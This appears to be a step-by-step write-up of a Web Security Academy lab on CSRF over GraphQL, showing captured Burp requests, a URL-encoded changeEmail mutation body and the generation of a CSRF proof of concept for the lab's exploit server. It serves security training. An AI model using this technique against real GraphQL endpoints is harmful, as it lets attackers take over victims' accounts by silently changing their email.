Lab: Performing CSRF exploits over GraphQL

Once the exercise has been started, the blog should look like the following image. You may see different blog entries, which is due to the fact that the Web Security Academy exercises are always regenerated. However, this has no influence on the solution. We click on the My account link to log in with our user data, wiener and peter. Where wiener is the user name and peter is the password.

After logging in, we see the user account of Wiener, now we think of a new email address and enter it in the Email field. In this example, the email address hacker1@hak1.com is used. We then click on the Update email button.

We see that the email address has been successfully changed.

Now we open the Burp Proxy and there the HTTP history tab. In the HTTP history we now search for the request that belongs to the change of the mail address.

The change to the email address is sent as a GraphQL mutation. We send this request to the Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. In the context menu, we select the Send to Repeater option.

In the Burp Repeater, we change the request to a different email address. In this example, it is the email address hacker2@hak2.com (line 5).

"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n",
"operationName":"changeEmail",
"variables":{
	"input":{
		"email":"hacker2@hak2.com"
	}
}

The complete request now has the following form.

POST /graphql/v1 HTTP/2
Host: 0aa0005503b23dea808403d8000100ac.web-security-academy.net
Cookie: session=hyDsVRAwqRIoqeqy2Hi7E7Jsje9FdwYu; session=hyDsVRAwqRIoqeqy2Hi7E7Jsje9FdwYu
Content-Length: 225
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: https://0aa0005503b23dea808403d8000100ac.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa0005503b23dea808403d8000100ac.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n",
"operationName":"changeEmail",
"variables":{
	"input":{
		"email":"hacker2@hak2.com"
	}}}

After sending, we receive confirmation that the email address has been changed. This means that we can reuse a session cookie for multiple requests.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 80

{
  "data": {
    "changeEmail": {
      "email": "hacker2@hak2.com"
    }
  }
}

We now change the Content-Type of our request to x-www-form-urlencoded. This is done by right-clicking on the request and selecting the Change request method option. This must be done twice.

After the change, we see that the body of the request has been deleted. However, as this contains important information, we need the content of the body. The following code snippet contains the content, already URL-encoded.

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hack3%40hak3.com%22%7D%7D

The complete request is contained in the following code snippet.

POST /graphql/v1 HTTP/2
Host: 0aa0005503b23dea808403d8000100ac.web-security-academy.net
Cookie: session=hyDsVRAwqRIoqeqy2Hi7E7Jsje9FdwYu; session=hyDsVRAwqRIoqeqy2Hi7E7Jsje9FdwYu
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: https://0aa0005503b23dea808403d8000100ac.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa0005503b23dea808403d8000100ac.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hack3%40hak3.com%22%7D%7D

We move the mouse over the request and press the right mouse button. In the context menu, we move the mouse over the Engagement tools option and then select Generate CSRF PoC.

We now adjust the email address in the request window of the PoC generator.

We click the Copy HTML button in the PoC generator and switch to the browser. There we click on the Go to exploit server button.

In the Exploit Server, we paste the HTML code we have just copied into the Body section.

We then successfully completed the exercise.

Last updated